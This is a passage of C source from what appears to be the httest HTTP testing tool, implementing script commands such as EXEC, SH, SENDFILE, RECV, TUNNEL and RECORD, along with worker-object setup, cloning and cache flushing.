*file, int flags, apr_pool_t *ptmp) { apr_status_t status; apr_size_t len; char *buf; while (1) { if (flags & FLAGS_CHUNKED) { len = worker->chunksize; } else { len = BLOCK_MAX; } buf = apr_pcalloc(worker->pcache, len + 1); if ((status = apr_file_read(file, buf, &len)) != APR_SUCCESS) { break; } buf[len] = 0; apr_table_addn(worker->cache, apr_psprintf(worker->pcache, "NOCRLF:%"APR_SIZE_T_FMT, len), buf); if (flags & FLAGS_CHUNKED) { worker_log(worker, LOG_DEBUG, "--- chunk size: %"APR_SIZE_T_FMT, len); apr_table_add(worker->cache, "CHUNKED", "CHUNKED"); if ((status = worker_flush(worker, ptmp)) != APR_SUCCESS) { return status; } } } if (APR_STATUS_IS_EOF(status)) { return APR_SUCCESS; } else { return status; } } /** * Report error of a child if any * * @param pool IN * @param err IN * @param description IN error description */ static void child_errfn(apr_pool_t *pool, apr_status_t err, const char *description) { fprintf(stderr, "\nChild error occure: %s", description); fflush(stderr); } /** * Execute an external program * * @param self IN command object * @param worker IN thread data object * @param data IN external program call with arguments * * @return an apr status */ apr_status_t command_EXEC(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp) { char *copy; apr_status_t status; apr_procattr_t *attr; bufreader_t *br; const char *progname; const char * const*args; apr_exit_why_e exitwhy; int exitcode; int flags; COMMAND_NEED_ARG("Need a shell command"); flags = worker->flags; worker->flags &= ~FLAGS_PIPE; worker->flags &= ~FLAGS_CHUNKED; worker->flags &= ~FLAGS_PIPE_IN; worker->flags &= ~FLAGS_FILTER; /* pipe http to shell */ if (copy[0] == '|') { ++copy; worker->flags |= FLAGS_PIPE_IN; } /* filter http */ else if (copy[0] == '<') { ++copy; worker->flags |= FLAGS_FILTER; } my_tokenize_to_argv(copy, (char ***)&args, ptmp, 1); progname = args[0]; if (!progname) { worker_log(worker, LOG_ERR, "No program name specified"); return APR_EGENERAL; } if ((status = apr_procattr_create(&attr, worker->pbody)) != APR_SUCCESS) { return status; } if ((status = apr_procattr_cmdtype_set(attr, APR_SHELLCMD_ENV)) != APR_SUCCESS) { return status; } if ((status = apr_procattr_detach_set(attr, 0)) != APR_SUCCESS) { return status; } if ((status = apr_procattr_error_check_set(attr, 1)) != APR_SUCCESS) { return status; } if ((status = apr_procattr_child_errfn_set(attr, child_errfn)) != APR_SUCCESS) { return status; } if ((status = apr_procattr_io_set(attr, APR_FULL_BLOCK, APR_FULL_BLOCK, APR_NO_PIPE)) != APR_SUCCESS) { return status; } { apr_pool_t *pool; apr_proc_t *proc; apr_pool_create_unmanaged_ex(&pool, NULL, NULL); proc = apr_pcalloc(pool, sizeof(*proc)); if ((status = apr_proc_create(proc, progname, args, NULL, attr, worker->pbody)) != APR_SUCCESS) { goto exit; } if (flags & FLAGS_PIPE) { worker_log(worker, LOG_DEBUG, "write stdout to http: %s", progname); if ((status = worker_file_to_http(worker, proc->out, flags, ptmp)) != APR_SUCCESS) { goto exit; } } else if (worker->flags & FLAGS_PIPE_IN || worker->flags & FLAGS_FILTER) { /* do not wait for proc termination here */ exec_t *exec = apr_pcalloc(pool, sizeof(*exec)); exec->pool = pool; exec->proc = proc; module_set_config(worker->config, apr_pstrdup(pool, "EXEC"), exec); return status; } else { apr_size_t len = 0; char *buf = NULL; worker_log(worker, LOG_DEBUG, "read stdin: %s", progname); status = bufreader_new(&br, proc->out, worker->pbody); if (status == APR_SUCCESS || APR_STATUS_IS_EOF(status)) { status = APR_SUCCESS; bufreader_read_eof(br, &buf, &len); } else { goto exit; } if (buf) { worker_log_buf(worker, LOG_INFO, '<', buf, len); worker_match(worker, worker->match.exec, buf, len); worker_match(worker, worker->grep.exec, buf, len); worker_expect(worker, worker->expect.exec, buf, len); } status = worker_assert_match(worker, worker->match.exec, "MATCH exec", status); status = worker_assert_expect(worker, worker->expect.exec, "EXPECT exec", status); status = worker_assert_grep(worker, worker->grep.exec, "GREP exec", status); } worker_log(worker, LOG_DEBUG, "wait for: %s", progname); apr_proc_wait(proc, &exitcode, &exitwhy, APR_WAIT); apr_file_close(proc->in); apr_file_close(proc->out); if (exitcode != 0) { status = APR_EGENERAL; } exit: apr_pool_destroy(pool); return status; } } /** * Send file * * @param self IN command object * @param worker IN thread data object * @param data IN file * * @return an apr status */ apr_status_t command_SENDFILE(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp) { char *copy; char **argv; apr_status_t status; int flags; apr_file_t *fp; int i; COMMAND_NEED_ARG("Need a file name"); my_tokenize_to_argv(copy, &argv, ptmp, 0); flags = worker->flags; worker->flags &= ~FLAGS_PIPE; worker->flags &= ~FLAGS_CHUNKED; for (i = 0; argv[i]; i++) { if ((status = apr_file_open(&fp, argv[i], APR_READ, APR_OS_DEFAULT, ptmp)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "\nCan not send file: File \"%s\" not found", copy); return APR_ENOENT; } if ((status = worker_file_to_http(worker, fp, flags, ptmp)) != APR_SUCCESS) { return status; } apr_file_close(fp); } return APR_SUCCESS; } /** * Declare a pipe * * @param self IN command object * @param worker IN thread data object * @param data IN not used * * @return an apr status */ apr_status_t command_PIPE(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp) { char *copy; char *last; char *add; char *val; COMMAND_OPTIONAL_ARG; add = apr_strtok(copy, " ", &last); if (add) { val = apr_strtok(NULL, " ", &last); } else { val = NULL; } worker_log(worker, LOG_DEBUG, "additional: %s, value: %s", add, val); if (add && strncasecmp(add, "chunked", 7) == 0) { worker->chunksize = val ? apr_atoi64(val) : BLOCK_MAX; worker->flags |= FLAGS_CHUNKED; } worker->flags |= FLAGS_PIPE; return APR_SUCCESS; } /** * Send data without a CRLF * * @param self IN command object * @param worker IN thread data object * @param data IN data to send * * @return an apr status */ apr_status_t command_NOCRLF(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp) { char *copy; int unresolved; copy = apr_pstrdup(ptmp, data); copy = worker_replace_vars(worker, copy, &unresolved, ptmp); worker_log(worker, LOG_CMD, "%s%s", self->name, copy); if (unresolved) { apr_table_add(worker->cache, "NOCRLF;resolve", copy); } else { apr_table_add(worker->cache, "NOCRLF", copy); } return APR_SUCCESS; } /** * Send data without a CRLF * * @param self IN command object * @param worker IN thread data object * @param data IN data to send * * @return an apr status */ apr_status_t command_SOCKSTATE(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp) { char *copy; COMMAND_NEED_ARG("Need a variable name"); if (!worker->socket) { worker_var_set(worker, copy, "UNDEF"); } if (worker_sockstate(worker) == APR_SUCCESS) { worker_var_set(worker, copy, "CONNECTED"); } else { worker_var_set(worker, copy, "CLOSED"); } return APR_SUCCESS; } /** * HEADER command * * @param self IN command * @param worker IN thread data object * @param data IN header name (spaces are possible) * * @return APR_SUCCESS */ apr_status_t command_HEADER(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { char *copy; char *method; char *header; char *last; COMMAND_NEED_ARG("Need method ALLOW or FILTER and a header name"); method = apr_strtok(copy, " ", &last); header = apr_strtok(NULL, " ", &last); if (strcasecmp(method, "ALLOW") == 0) { if (!worker->headers_allow) { worker->headers_allow = apr_table_make(worker->pbody, 10); } apr_table_add(worker->headers_allow, header, method); } else if (strcasecmp(method, "FILTER") == 0) { if (!worker->headers_filter) { worker->headers_filter = apr_table_make(worker->pbody, 5); } apr_table_add(worker->headers_filter, header, method); } else { return APR_ENOTIMPL; } return APR_SUCCESS; } /** * DEBUG command * * @param self IN command * @param worker IN thread data object * @param data IN string to print on stderr * * @return APR_SUCCESS */ apr_status_t command_DEBUG(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { char *copy; COMMAND_OPTIONAL_ARG; /* Using LOG_NONE so this prints, regardless of httest internal log level */ worker_log(worker, LOG_NONE, "%s", copy); return APR_SUCCESS; } /** * Setup listener * * @param worker IN thread data object * * @return APR_SUCCESS */ apr_status_t worker_listener_up(worker_t *worker, apr_int32_t backlog) { apr_status_t status = APR_SUCCESS; worker_get_socket(worker, "Default", "0"); status = tcp_listen(worker, backlog); worker->socket->socket_state = SOCKET_CLOSED; return status; } /** * UP command bind a listener socket * * @param self IN command * @param worker IN thread data object * @param data IN unused * * @return APR_SUCCESS */ apr_status_t command_UP(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { char *copy; apr_int32_t backlog = LISTENBACKLOG_DEFAULT; COMMAND_OPTIONAL_ARG; if (copy[0] != '\0') { backlog = apr_atoi64(copy); } return worker_listener_up(worker, backlog); } /** * DOWN command shuts down listener * * @param self IN command * @param worker IN thread data object * @param data IN unused * * @return APR_SUCCESS */ apr_status_t command_DOWN(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { apr_status_t status; COMMAND_NO_ARG; if (!worker->listener) { worker_log(worker, LOG_ERR, "Server allready down", self->name); return APR_EGENERAL; } if ((status = apr_socket_close(worker->listener)) != APR_SUCCESS) { return status; } worker->listener = NULL; return status; } /** * LOG_LEVEL command sets log level * * @param self IN command * @param worker IN thread data object * @param data IN number 0-4 * * @return APR_SUCCESS */ apr_status_t command_LOG_LEVEL_SET(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { char *copy; COMMAND_NEED_ARG("Need a number between 0 and 4"); logger_set_mode(worker->logger, apr_atoi64(copy)); return APR_SUCCESS; } /** * GET_LOG_LEVEL command sets log level * * @param self IN command * @param worker IN thread data object * @param data IN number 0-4 * * @return APR_SUCCESS */ apr_status_t command_LOG_LEVEL_GET(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { char *copy; COMMAND_NEED_ARG(""); worker_var_set(worker, copy, apr_itoa(ptmp, logger_get_mode(worker->logger))); return APR_SUCCESS; } /** * RECV command * * @param self IN command * @param worker IN thread data object * @param data IN either POLL or number of bytes * * @return APR_SUCCESS */ apr_status_t command_RECV(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { char *copy; apr_status_t status; apr_size_t recv_len; apr_size_t peeklen; sockreader_t *sockreader; char *buf; char *last; char *val; int poll = 0; COMMAND_NEED_ARG("Need a number or POLL"); /* get first value, can be either POLL or a number */ val = apr_strtok(copy, " ", &last); if (strcasecmp(val, "POLL") == 0) { poll = 1; /* recv_len to max and timeout to min */ recv_len = BLOCK_MAX; /* set timout to specified socket tmo */ if ((status = transport_set_timeout(worker->socket->transport, worker->socktmo)) != APR_SUCCESS) { return status; } } else if (strcasecmp(val, "CHUNKED") == 0) { recv_len = 0; } else if (strcasecmp(val, "CLOSE") == 0) { recv_len = 0; } else { /* must be a number */ recv_len = apr_atoi64(val); } if (worker->socket->sockreader == NULL) { peeklen = worker->socket->peeklen; worker->socket->peeklen = 0; if ((status = sockreader_new(&worker->socket->sockreader, worker->socket->transport, worker->socket->peek, peeklen)) != APR_SUCCESS) { goto out_err; } } sockreader = worker->socket->sockreader; if (strcasecmp(val, "CHUNKED") == 0) { if ((status = transfer_enc_reader(sockreader, &buf, &recv_len, "chunked")) != APR_SUCCESS) { goto out_err; } } else if (strcasecmp(val, "CLOSE") == 0) { if ((status = eof_reader(sockreader, &buf, &recv_len, "close")) != APR_SUCCESS) { goto out_err; } } else { if ((status = content_length_reader(sockreader, &buf, &recv_len, "")) != APR_SUCCESS) { if (poll && APR_STATUS_IS_INCOMPLETE(status)) { status = APR_SUCCESS; } else { goto out_err; } } } if ((status = worker_handle_buf(worker, ptmp, buf, recv_len)) != APR_SUCCESS) { goto out_err; } out_err: if (strcasecmp(last, "DO_NOT_CHECK") != 0) { status = worker_assert(worker, status); } return status; } /** * READLINE command * * @param self IN command * @param worker IN thread data object * @param data IN optional parameter DO_NOT_CHECK to avoid expect checking * * @return APR_SUCCESS */ apr_status_t command_READLINE(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { apr_status_t status; apr_size_t peeklen; apr_size_t len; sockreader_t *sockreader; char *buf; char *copy; COMMAND_OPTIONAL_ARG; if (worker->socket->sockreader == NULL) { peeklen = worker->socket->peeklen; worker->socket->peeklen = 0; if ((status = sockreader_new(&worker->socket->sockreader, worker->socket->transport, worker->socket->peek, peeklen)) != APR_SUCCESS) { goto out_err; } } sockreader = worker->socket->sockreader; if ((status = sockreader_read_line(sockreader, &buf)) != APR_SUCCESS) { goto out_err; } if (buf) { len = strlen(buf); if ((status = worker_handle_buf(worker, ptmp, buf, len)) != APR_SUCCESS) { goto out_err; } } out_err: if (strcasecmp(copy, "DO_NOT_CHECK") != 0) { status = worker_assert(worker, status); } return status; } /** * CHECK command * * @param self IN command * @param worker IN thread data object * @param data IN optional check match and expects * * @return APR_SUCCESS */ apr_status_t command_CHECK(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { apr_status_t status = worker_assert(worker, APR_SUCCESS); return status; } /** * WHICH command * * @param self IN command * @param worker IN thread data object * @param data IN varname * * @return APR_SUCCESS or apr error code */ apr_status_t command_WHICH(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { char *copy; char *result; COMMAND_NEED_ARG(" expected"); result = apr_psprintf(ptmp, "%d", worker->which); worker_var_set(worker, copy, result); return APR_SUCCESS; } /** * ONLY_PRINTABLE command * * @param self IN command * @param worker IN thread data object * @param data IN on|off * * @return APR_SUCCESS or apr error code */ apr_status_t command_ONLY_PRINTABLE(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { char *copy; COMMAND_NEED_ARG("Need on|off"); if (strcasecmp(copy, "on") == 0) { worker->flags |= FLAGS_ONLY_PRINTABLE; } else { worker->flags &= ~FLAGS_ONLY_PRINTABLE; } return APR_SUCCESS; } /** * PRINT_HEX command * @param self IN command * @param worker IN thread data object * @param data IN on|off * * @return APR_SUCCESS or apr error code */ apr_status_t command_PRINT_HEX(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { char *copy; COMMAND_NEED_ARG("Need on|off"); if (strcasecmp(copy, "on") == 0) { worker->flags |= FLAGS_PRINT_HEX; } else { worker->flags &= ~FLAGS_PRINT_HEX; } return APR_SUCCESS; } /** * SH command * * @param self IN command * @param worker IN thread data object * @param data IN * * @return APR_SUCCESS or apr error code */ apr_status_t command_SH(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { char *copy; apr_size_t len; #ifdef _WINDOWS char *name = apr_pstrdup(worker->pbody, "httXXXXXX.bat"); char *exec_prefix = ""; int has_apr_file_perms_set = 0; #else char *name = apr_pstrdup(worker->pbody, "httXXXXXX"); char *exec_prefix = "./"; int has_apr_file_perms_set = 1; #endif sh_t *sh = module_get_config(worker->config, SH_CONFIG); apr_status_t status = APR_SUCCESS; COMMAND_NEED_ARG("Either shell commands or END"); if (strcasecmp(copy, "END")== 0) { if (sh) { if ((status = apr_file_name_get((const char **)&name, sh->tmpf)) != APR_SUCCESS) { return status; } if (has_apr_file_perms_set && (status = apr_file_perms_set(name, 0x700)) != APR_SUCCESS) { return status; } /* close file */ apr_file_close(sh->tmpf); /* exec file */ status = command_EXEC(self, worker, apr_pstrcat(worker->pbody, exec_prefix, name, NULL), sh->pool); apr_file_remove(name, sh->pool); module_set_config(worker->config, apr_pstrdup(sh->pool, SH_CONFIG), NULL); apr_pool_destroy(sh->pool); } } else { if (!sh) { apr_pool_t *pool; apr_pool_create_unmanaged_ex(&pool, NULL, NULL); sh = apr_pcalloc(pool, sizeof(*sh)); sh->pool = pool; if ((status = apr_file_mktemp(&sh->tmpf, name, APR_CREATE | APR_READ | APR_WRITE | APR_EXCL, pool)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Could not mk temp file %s(%d)", my_status_str(ptmp, status), status); return status; } } module_set_config(worker->config, apr_pstrdup(sh->pool, SH_CONFIG), sh); len = strlen(copy); if ((status = file_write(sh->tmpf, copy, len)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Could not write to temp file"); return status; } len = 1; if ((status = file_write(sh->tmpf, "\n", len)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Could not write to temp file"); return status; } } return status; } /** * ADD_HEADER command * * @param self IN command * @param worker IN thread data object * @param data IN header value * * @return APR_SUCCESS or apr error code */ apr_status_t command_ADD_HEADER(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { char *copy; char **argv; COMMAND_NEED_ARG("
"); if (!worker->headers_add) { worker->headers_add = apr_table_make(worker->pbody, 12); } my_tokenize_to_argv(copy, &argv, ptmp, 0); apr_table_add(worker->headers_add, argv[0], argv[1]); return APR_SUCCESS; } /** * TUNNEL command * * @param self IN command * @param worker IN thread data object * @param data IN [SSL:] * * @return APR_SUCCESS or APR_EGENERAL on wrong parameters */ apr_status_t command_TUNNEL(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { apr_status_t status; apr_threadattr_t *tattr; apr_thread_t *client_thread; apr_thread_t *backend_thread; tunnel_t client; tunnel_t backend; apr_size_t peeklen; if (!(worker->flags & FLAGS_SERVER)) { worker_log(worker, LOG_ERR, "This command is only valid in a SERVER"); return APR_EGENERAL; } if (worker->socket->socket_state == SOCKET_CLOSED) { worker_log(worker, LOG_ERR, "Socket to client is closed\n"); return APR_ECONNREFUSED; } worker_log(worker, LOG_DEBUG, "--- tunnel\n"); /* client side */ if ((status = transport_set_timeout(worker->socket->transport, 100000)) != APR_SUCCESS) { goto error1; } if (worker->socket->sockreader == NULL) { peeklen = worker->socket->peeklen; worker->socket->peeklen = 0; status = sockreader_new(&client.sockreader, worker->socket->transport, worker->socket->peek, peeklen); if (status != APR_SUCCESS && !APR_STATUS_IS_TIMEUP(status)) { goto error1; } } else { client.sockreader = worker->socket->sockreader; } backend.sendto = worker->socket; /* backend side */ if ((status = command_REQ(self, worker, data, ptmp)) != APR_SUCCESS) { goto error1; } if ((status = transport_set_timeout(worker->socket->transport, 100000)) != APR_SUCCESS) { goto error2; } status = sockreader_new(&backend.sockreader, worker->socket->transport, NULL, 0); if (status != APR_SUCCESS && !APR_STATUS_IS_TIMEUP(status)) { goto error2; } client.sendto = worker->socket; /* need two threads reading/writing from/to backend */ if ((status = apr_threadattr_create(&tattr, worker->pbody)) != APR_SUCCESS) { goto error2; } if ((status = apr_threadattr_stacksize_set(tattr, DEFAULT_THREAD_STACKSIZE)) != APR_SUCCESS) { goto error2; } if ((status = apr_threadattr_detach_set(tattr, 0)) != APR_SUCCESS) { goto error2; } if ((status = apr_thread_create(&client_thread, tattr, streamer, &client, worker->pbody)) != APR_SUCCESS) { goto error2; } if ((status = apr_thread_create(&backend_thread, tattr, streamer, &backend, worker->pbody)) != APR_SUCCESS) { goto error2; } apr_thread_join(&status, client_thread); if (status != APR_SUCCESS) { goto error2; } apr_thread_join(&status, backend_thread); if (status != APR_SUCCESS) { goto error2; } error2: command_CLOSE(self, worker, "do not test expects", ptmp); error1: worker_get_socket(worker, "Default", "0"); sockreader_destroy(&client.sockreader); sockreader_destroy(&backend.sockreader); worker_log(worker, LOG_DEBUG, "--- tunnel end\n"); return status; } /** * BREAK command * * @param self IN command * @param worker IN thread data object * @param data IN unused * * @return APR_SUCCESS or APR_EGENERAL on wrong parameters */ apr_status_t command_BREAK(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { /* singal break for loop */ COMMAND_NO_ARG; return -1; } /** * AUTO_CLOSE command * * @param self IN command * @param worker IN thread data object * @param data IN * * @return APR_SUCCESS or apr error code */ apr_status_t command_AUTO_CLOSE(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { char *copy; COMMAND_NEED_ARG("on|off, default off"); if (strcasecmp(copy, "on") == 0) { worker->flags |= FLAGS_AUTO_CLOSE; } else { worker->flags &= ~FLAGS_AUTO_CLOSE; } return APR_SUCCESS; } /** * AUTO_COOKIE command * * @param self IN command * @param worker IN thread data object * @param data IN * * @return APR_SUCCESS or apr error code */ apr_status_t command_AUTO_COOKIE(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { char *copy; COMMAND_NEED_ARG("on|off, default off"); if (strcasecmp(copy, "on") == 0) { worker->flags |= FLAGS_AUTO_COOKIE; } else { if (worker->socket) { apr_table_clear(worker->socket->cookies); worker->socket->cookie = NULL; } worker->flags &= ~FLAGS_AUTO_COOKIE; } return APR_SUCCESS; } /** * MATCH_SEQ command * * @param self IN command * @param worker IN thread data object * @param data IN sequence * * @return APR_SUCCESS or apr error code */ apr_status_t command_MATCH_SEQ(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { char *copy; apr_pool_t *pool; COMMAND_NEED_ARG("*"); pool = module_get_config(worker->config, apr_pstrdup(ptmp, "MATCH_SEQ")); if (!pool) { /* create a pool for match */ apr_pool_create_unmanaged_ex(&pool, NULL, NULL); module_set_config(worker->config, apr_pstrdup(pool, "MATCH_SEQ"), pool); } worker->match_seq = apr_pstrdup(pool, copy); return APR_SUCCESS; } /** * RECORD command * * @param self IN command * @param worker IN thread data object * @param data IN "RES" ["ALL"]|[["STATUS"] ["HEADERS"] ["BODY"]] * * @return APR_SUCCESS or apr error code */ apr_status_t command_RECORD(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { char *copy; recorder_t *recorder = worker_get_recorder(worker); COMMAND_NEED_ARG("RES [ALL] {STATUS|HEADERS|BODY}*"); if (strncmp(copy, "RES", 3) != 0) { worker_log(worker, LOG_ERR, "Only response recording supported yet"); return APR_EINVAL; } if (strstr(copy, "ALL")) { recorder->flags = RECORDER_RECORD_ALL; } if (strstr(copy, "STATUS")) { recorder->flags |= RECORDER_RECORD_STATUS; } if (strstr(copy, "HEADERS")) { recorder->flags |= RECORDER_RECORD_HEADERS; } if (strstr(copy, "BODY")) { recorder->flags |= RECORDER_RECORD_BODY; } if (recorder->on) { /* restart the recorder by dropping the sockreader pool */ sockreader_destroy(&recorder->sockreader); } /* setup a sockreader for recording */ sockreader_new(&recorder->sockreader, NULL, NULL, 0); recorder->on = RECORDER_RECORD; return APR_SUCCESS; } /** * PLAY command * * @param self IN command * @param worker IN thread data object * @param data IN "BACK"|"VAR" * * @return APR_SUCCESS or apr error code */ apr_status_t command_PLAY(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { recorder_t *recorder = worker_get_recorder(worker); COMMAND_NO_ARG; /* if recorded data available do play back */ if (recorder->on == RECORDER_RECORD) { recorder->on = RECORDER_PLAY; } else { worker_log(worker, LOG_ERR, "Can not play cause recorder is not in recording mode"); return APR_EINVAL; } return APR_SUCCESS; } /** * LOCAL command * * @param self IN command * @param worker IN thread data object * @param data IN (" " )* * * @return APR_SUCCESS or apr error code */ apr_status_t command_LOCAL(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { char *copy; char *last; char *var; COMMAND_NEED_ARG(" (\" \" )*"); var = apr_strtok(copy, " ", &last); while (var) { store_set(worker->locals, var, ""); var = apr_strtok(NULL, " ", &last); } return APR_SUCCESS; } /** * USE command * * @param self IN command * @param worker IN thread data object * @param data IN * * @return APR_SUCCESS or apr error code */ apr_status_t command_USE(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { char *copy; COMMAND_NEED_ARG(""); if (!(worker->blocks = apr_hash_get(worker->modules, copy, APR_HASH_KEY_STRING))) { worker_log(worker, LOG_ERR, "Could not finde module \"%s\"", copy); return APR_EINVAL; } return APR_SUCCESS; } /** * IGNORE_BODY command * * @param self IN command * @param worker IN thread data object * @param data IN unused * * @return APR_SUCCESS or apr error code */ apr_status_t command_IGNORE_BODY(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { char *copy; COMMAND_NEED_ARG("on|off, default off"); apr_collapse_spaces(copy, copy); if (strcasecmp(copy, "on") == 0) { worker->flags |= FLAGS_IGNORE_BODY; } else if (strcasecmp(copy, "off") == 0) { worker->flags &= ~FLAGS_IGNORE_BODY; } else { worker_log(worker, LOG_ERR, "Do not understand \"%s\"", copy); return APR_EINVAL; } return APR_SUCCESS; } /** * VERSION command * * @param self IN unused * @param worker IN thread data object * @param data IN variable to store in * * @return APR_SUCCESS */ apr_status_t command_VERSION(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { char *copy; COMMAND_NEED_ARG(""); worker_var_set(worker, copy, PACKAGE_VERSION); return APR_SUCCESS; } /** * DUMMY command used for opsolete commands * * @param self IN unused * @param worker IN unused * @param data IN unused * * @return APR_SUCCESS */ apr_status_t command_DUMMY(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { return APR_SUCCESS; } /** * Object thread data */ /** * New thread data object * * @param self OUT thread data object * @param log_mode IN log mode * */ void worker_new(worker_t ** self, char *additional, global_t *global, interpret_f function) { apr_pool_t *p; apr_pool_create_unmanaged_ex(&p, NULL, NULL); (*self) = apr_pcalloc(p, sizeof(worker_t)); (*self)->global = global; (*self)->heartbeat = p; apr_pool_create(&p, (*self)->heartbeat); (*self)->pbody = p; apr_pool_create(&p, (*self)->heartbeat); (*self)->pcache = p; /* this stuff muss last until END so take pbody pool for this */ p = (*self)->pbody; (*self)->interpret = function; (*self)->config = apr_hash_make(p); (*self)->filename = apr_pstrdup(p, ""); (*self)->socktmo = global->socktmo; (*self)->additional = apr_pstrdup(p, additional); (*self)->sync_mutex = global->sync_mutex; (*self)->mutex = global->mutex; (*self)->lines = apr_table_make(p, 20); (*self)->cache = apr_table_make((*self)->pcache, 20); (*self)->expect.dot = apr_table_make(p, 2); (*self)->expect.headers = apr_table_make(p, 2); (*self)->expect.body = apr_table_make(p, 2); (*self)->expect.exec= apr_table_make(p, 2); (*self)->expect.error = apr_table_make(p, 2); (*self)->match.dot= apr_table_make(p, 2); (*self)->match.headers = apr_table_make(p, 2); (*self)->match.body = apr_table_make(p, 2); (*self)->match.error = apr_table_make(p, 2); (*self)->match.exec = apr_table_make(p, 2); (*self)->grep.dot= apr_table_make(p, 2); (*self)->grep.headers = apr_table_make(p, 2); (*self)->grep.body = apr_table_make(p, 2); (*self)->grep.error = apr_table_make(p, 2); (*self)->grep.exec = apr_table_make(p, 2); (*self)->sockets = apr_hash_make(p); (*self)->headers_allow = NULL; (*self)->headers_filter = NULL; (*self)->params = store_make(p); (*self)->retvars = store_make(p); (*self)->locals = store_make(p); if (global->mutex) apr_thread_mutex_lock(global->mutex); (*self)->vars = store_copy(global->vars, p); (*self)->modules = apr_hash_copy(p, global->modules); if (global->mutex) apr_thread_mutex_unlock(global->mutex); (*self)->blocks = global->blocks; (*self)->logger = global->logger; (*self)->flags = global->flags; (*self)->listener_addr = apr_pstrdup(p, APR_ANYADDR); store_set((*self)->vars, "__LOG_LEVEL", apr_itoa((*self)->pbody, logger_get_mode(global->logger))); worker_log((*self), LOG_DEBUG, "worker_new: pool: %"APR_UINT64_T_HEX_FMT", pbody: %"APR_UINT64_T_HEX_FMT, (*self)->pbody, (*self)->pbody); } /** * Clone thread data object * * @param self OUT thread data object * @param orig IN thread data object to copy from * * @return an apr status */ void worker_clone(worker_t ** self, worker_t * orig) { apr_pool_t *p; worker_new(self, orig->additional, orig->global, orig->interpret); p = (*self)->pbody; (*self)->flags = orig->flags; (*self)->lines = my_table_deep_copy(p, orig->lines); (*self)->listener = NULL; (*self)->vars = store_copy(orig->vars, p); (*self)->listener_addr = apr_pstrdup(p, orig->listener_addr); (*self)->group = orig->group; worker_log((*self), LOG_DEBUG, "worker_clone: pool: %"APR_UINT64_T_HEX_FMT", pbody: %"APR_UINT64_T_HEX_FMT, (*self)->pbody, (*self)->pbody); } /** * Destroy thread data object * * @param worker IN thread data object */ void worker_destroy(worker_t * worker) { worker_log(worker, LOG_DEBUG, "worker_destroy: %"APR_UINT64_T_HEX_FMT", pbody: %"APR_UINT64_T_HEX_FMT, worker->pbody, worker->pbody); apr_pool_destroy(worker->heartbeat); } /** * Clone thread data object * * @param worker IN thread data object * @param line IN command line * * @return an apr status */ apr_status_t worker_add_line(worker_t * worker, const char *file_and_line, char *line) { apr_table_addn(worker->lines, file_and_line, line); return APR_SUCCESS; } /** * Send buf with len * * @param self IN thread data object * @param buf IN buffer to send * @param len IN no bytes of buffer to send * * @return apr status */ apr_status_t worker_socket_send(worker_t *worker, char *buf, apr_size_t len) { worker_log(worker, LOG_DEBUG, "send socket: %"APR_UINT64_T_HEX_FMT" transport: %"APR_UINT64_T_HEX_FMT, worker->socket, worker->socket->transport); return transport_write(worker->socket->transport, buf, len); } /** * Hop over headers till empty line * * @param worker IN worker object * @param start IN start index * * @return current index */ static int worker_hop_over_headers(worker_t *worker, int start) { int i = start; apr_table_entry_t *e = (apr_table_entry_t *) apr_table_elts(worker->cache)->elts; while (i < apr_table_elts(worker->cache)->nelts && e[i].val[0]) { ++i; } ++i; return i; } /** * get the length of the cached line * * @param worker IN worker object * @param cached_line IN a table entry of cache * @param len OUT length of cached_line * * @return length of this table entry */ static apr_status_t worker_get_line_length(worker_t *worker, apr_table_entry_t cached_line, apr_size_t *len) { line_t line; apr_status_t status = APR_SUCCESS; line.info = cached_line.key; line.buf = cached_line.val; *len = 0; /* if there are modules which do have their own format */ if ((status = htt_run_line_get_length(worker, &line)) != APR_SUCCESS) { return status; } /* do not forget the \r\n */ if (strncasecmp(line.info, "NOCRLF", 6) != 0) { *len += 2; } if (strncasecmp(line.info, "NOCRLF:", 7) == 0) { *len += apr_atoi64(&line.info[7]); } else { *len += strlen(line.buf); } return status; } /** * flush partial data * * @param worker IN worker object * @param from IN start cache line * @param to IN end cache line * @param ptmp IN temporary pool * * @return an apr status */ apr_status_t worker_flush_part(worker_t *worker, int from, int to, apr_pool_t *ptmp) { int i; int len; int nocrlf = 0; apr_status_t status = APR_SUCCESS; apr_table_entry_t *e = (apr_table_entry_t *) apr_table_elts(worker->cache)->elts; /* iterate through all cached lines and send them */ for (i = from; i < to; ++i) { line_t line; line.info = e[i].key; line.buf = e[i].val; /* use in this case the copied key */ if (strstr(line.info, "resolve")) { int unresolved; /* do only local var resolve the only var pool which could have new vars * with values */ /* replace all vars */ line.buf = worker_replace_vars(worker, line.buf, &unresolved, 